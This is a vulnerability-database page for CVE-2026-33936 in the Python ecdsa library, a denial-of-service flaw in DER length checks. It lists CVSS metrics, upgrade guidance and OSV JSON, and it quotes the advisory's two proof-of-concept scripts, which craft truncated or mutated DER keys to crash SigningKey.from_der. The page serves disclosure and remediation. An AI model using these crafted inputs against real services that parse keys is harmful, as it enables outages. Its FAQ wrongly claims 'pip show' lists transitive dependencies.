Vulnerabilities in pkg:pypi/ecdsa

PACKAGE
Advisory Identifier: GHSA-9f5j-8jwj-x28g
Advisory Summary

CVE-2026-33936 is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-20: Improper Input Validation) affecting python-ecdsa libraries in the PyPI ecosystem. The issue involves denial of service via improper der length validation in crafted private keys. Remediation is available by upgrading affected packages to version 0.19.2.

5 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/ecdsa

5 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/ecdsa. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-9f5j-8jwj-x28g CVE-2026-33936 MODERATE python-ecdsa: Denial of Service via improper DER length validation in crafted private keys
GHSA-wj6h-64fc-37mp CVE-2024-23342 HIGH Minerva timing attack on P-256 in python-ecdsa
GHSA-8qxj-f9rh-9fg2 CVE-2019-14859 CRITICAL Improper Verification of Cryptographic Signature in Pure-Python ECDSA
GHSA-pwfw-mgfj-7g3g CVE-2019-14853 HIGH ecdsa Denial of Service vulnerability in signature verification and signature malleability
GHSA-2mrj-435v-c2cr - MODERATE Duplicate Advisory: possible DoS caused by malformed signature decoding in Pure-Python ECDSA

CVE-2026-33936 at a Glance

CVE Identifier CVE-2026-33936
GHSA Identifier GHSA-9f5j-8jwj-x28g
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-20: Improper Input Validation
Affected Product python-ecdsa
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-33936

To remediate this vulnerability, upgrade all affected python-ecdsa dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ecdsa fixed: 0.19.2
pip install ecdsa>=0.19.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show ecdsa

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33936, inspect your installed packages using pip:

pip show ecdsa

Analyze the terminal output to locate any version of python-ecdsa in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.19.2), your application is affected.

Note: The pip show ecdsa command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In python-ecdsa, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. 1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. 2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. ## Impact Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions. ## Reproduction Attach and run the following PoCs: ### poc_truncated_der_octet.py ```python from ecdsa.der import remove_octet_string, UnexpectedDER # OCTET STRING (0x04) # Declared length: 0x82 0x10 0x00 -> 4096 bytes # Actual body: only 3 bytes -> truncated DER bad = b"\x04\x82\x10\x00" + b"ABC" try: body, rest = remove_octet_string(bad) print("[BUG] remove_octet_string accepted truncated DER.") print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest)) print("Body=", body) print("Rest=", rest) except UnexpectedDER as e: print("[OK] Rejected malformed DER:", e) ``` - Expected: reject malformed DER when declared length exceeds available bytes - Actual: accepts the truncated DER and returns a shorter body - Example output: ``` Parsed body_len= 3 rest_len= 0 (while declared length is 4096) ``` ### poc_signingkey_from_der_indexerror.py ```python from ecdsa import SigningKey, NIST256p import ecdsa print("ecdsa version:", ecdsa.__version__) sk = SigningKey.generate(curve=NIST256p) good = sk.to_der() print("Good DER len:", len(good)) def find_crashing_mutation(data: bytes): b = bytearray(data) # Try every OCTET STRING tag position and corrupt a short-form length byte for i in range(len(b) - 4): if b[i] != 0x04: # OCTET STRING tag continue L = b[i + 1] if L >= 0x80: # skip long-form lengths for simplicity continue max_possible = len(b) - (i + 2) if max_possible <= 10: continue # Claim more bytes than exist -> truncation newL = min(0x7F, max_possible + 20) b2 = bytearray(b) b2[i + 1] = newL try: SigningKey.from_der(bytes(b2)) except Exception as e: return i, type(e).__name__, str(e) return None res = find_crashing_mutation(good) if res is None: print("[INFO] No exception triggered by this mutation strategy.") else: i, etype, msg = res print("[BUG] SigningKey.from_der raised unexpected exception type.") print("Offset:", i, "Exception:", etype, "Message:", msg) ``` - Expected: reject malformed DER with `UnexpectedDER` or `ValueError` - Actual: deterministically triggers an internal `IndexError` (DoS risk) - Example output: ``` Result: (5, 'IndexError', 'index out of bounds on dimension 1') ``` ## Suggested fix Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`: - `remove_octet_string()` - `remove_constructed()` - `remove_implicit()` Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes. ## Credit Mohamed Abdelaal (@0xmrma)

CVE-2026-33936 Affected python-ecdsa Versions

1 component(s)
Fixed Versions:
0.19.2
Product / Package Ecosystem Affected Versions Fixed Version
ecdsa
PyPI
< 0.19.2
0.19.2

References

Frequently Asked Questions

What is CVE-2026-33936?
CVE-2026-33936 is a security vulnerability in python-ecdsa involving Denial of Service via improper DER length validation in crafted private keys under CWE-20: Improper Input Validation.
Which python-ecdsa versions are affected?
Affected versions include releases prior to 0.19.2 across affected packages: ecdsa.
What version fixes CVE-2026-33936?
Upgrading to 0.19.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ecdsa affected?
Yes, ecdsa is affected in releases prior to 0.19.2. Upgrade your dependency to 0.19.2 or later.
What is the CVSS score of CVE-2026-33936?
CVE-2026-33936 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-33936?
CVE-2026-33936 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check PyPI dependencies for CVE-2026-33936?
Run the dependency tree command: 'pip show ecdsa'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9f5j-8jwj-x28g",
  "modified" : "2026-03-30T20:17:11Z",
  "published" : "2026-03-27T15:56:01Z",
  "aliases" : [ "CVE-2026-33936" ],
  "summary" : "python-ecdsa: Denial of Service via improper DER length validation in crafted private keys",
  "details" : "## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n###  poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00  -> 4096 bytes\n# Actual body: only 3 bytes -> truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n    body, rest = remove_octet_string(bad)\n    print(\"[BUG] remove_octet_string accepted truncated DER.\")\n    print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n    print(\"Body=\", body)\n    print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n    print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n    b = bytearray(data)\n\n    # Try every OCTET STRING tag position and corrupt a short-form length byte\n    for i in range(len(b) - 4):\n        if b[i] != 0x04:  # OCTET STRING tag\n            continue\n\n        L = b[i + 1]\n        if L >= 0x80:\n            # skip long-form lengths for simplicity\n            continue\n\n        max_possible = len(b) - (i + 2)\n        if max_possible <= 10:\n            continue\n\n        # Claim more bytes than exist -> truncation\n        newL = min(0x7F, max_possible + 20)\n        b2 = bytearray(b)\n        b2[i + 1] = newL\n\n        try:\n            SigningKey.from_der(bytes(b2))\n        except Exception as e:\n            return i, type(e).__name__, str(e)\n\n    return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n    print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n    i, etype, msg = res\n    print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n    print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, 'IndexError', 'index out of bounds on dimension 1')\n```\n\n## Suggested fix\n\nAdd “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ecdsa"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.19.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-9f5j-8jwj-x28g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33936"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tlsfuzzer/python-ecdsa"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tlsfuzzer/python-ecdsa/releases/tag/python-ecdsa-0.19.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-130", "CWE-20" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T15:56:01Z",
    "nvd_published_at" : "2026-03-27T23:17:13Z"
  }
}